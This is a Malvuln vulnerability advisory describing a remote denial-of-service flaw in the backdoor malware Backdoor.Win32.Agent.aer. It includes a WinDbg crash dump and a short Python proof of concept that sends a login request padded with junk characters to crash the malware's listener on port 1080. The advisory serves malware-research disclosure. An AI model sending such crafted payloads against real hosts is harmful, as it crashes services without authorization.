Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9576a6a59715a69be499fa41d6383a64.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aer
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 1080. Third-party attackers who can reach infected systems can send a specially crafted junk payload for the logon credentials to trigger an exception and crash.
Type: PE32
MD5: 9576a6a59715a69be499fa41d6383a64
Vuln ID: MVID-2021-0346
Dropped files: svchost.exe
Disclosure: 09/25/2021

Memory Dump:
(2fc8.1f84): Unknown exception - code 00000000 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=3883ff6c edx=3883ff74 esi=00000003 edi=00000003
eip=776ced3c esp=3883f680 ebp=3883f810 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
776ced3c c21400          ret     14h

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=00000000 esp=00000000 ebp=00000000 iopl=0         nv up di pl nz na po nc
cs=0000  ss=0000  ds=0000  es=0000  fs=0000  gs=0000             efl=00000000
00000000 ??              ???

0:003> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for svchost.exe
*** ERROR: Module load completed but symbols could not be loaded for svchost.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
svchost+a334
0040a334 8b4004          mov     eax,dword ptr [eax+4]

EXCEPTION_RECORD:  3883faa8 -- (.exr 0x3883faa8)
ExceptionAddress: 0040a334 (svchost+0x0000a334)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 041a7d6c
Attempt to read from address 041a7d6c

DEFAULT_BUCKET_ID:  APPLICATION_FAULT

PROCESS_NAME:  svchost.exe

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  3883faf8 -- (.cxr 0x3883faf8)
eax=041a7d68 ebx=041a7d68 ecx=3883ff6c edx=3883ff74 esi=00403964 edi=00403964
eip=0040a334 esp=3883ff58 ebp=3883ff6c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
svchost+0xa334:
0040a334 8b4004          mov     eax,dword ptr [eax+4] ds:002b:041a7d6c=00000000
Resetting default scope

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  041a7d6c

READ_ADDRESS:  041a7d6c 

FOLLOWUP_IP: 
kernel32!BaseThreadInitThunk+0
74118630 8bff            mov     edi,edi

LAST_CONTROL_TRANSFER:  from 0040398e to 0040a334

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

FAULTING_THREAD:  ffffffff

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

BUGCHECK_STR:  APPLICATION_FAULT_APPLICATION_FAULT

STACK_TEXT:  
3883ff58 0040a334 svchost+0xa334
3883ff74 0040398e svchost+0x398e
3883ff88 74118654 kernel32!BaseThreadInitThunk+0x24
3883ff9c 776c4a77 ntdll!__RtlUserThreadStart+0x2f
3883ffe4 776c4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 000000003883FAF8 ; kb ; dds 3883ff58 ; kb

SYMBOL_NAME:  kernel32!BaseThreadInitThunk+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: kernel32

IMAGE_NAME:  kernel32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  744765ce

FAILURE_BUCKET_ID:  APPLICATION_FAULT_c0000005_kernel32.dll!BaseThreadInitThunk

BUCKET_ID:  APPLICATION_FAULT_APPLICATION_FAULT_kernel32!BaseThreadInitThunk+0

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1080

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    JUNK="A"*2000 
    PAYLOAD="GET /login?Nombre="+JUNK+"&Password="+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PAYLOAD)
    s.close()


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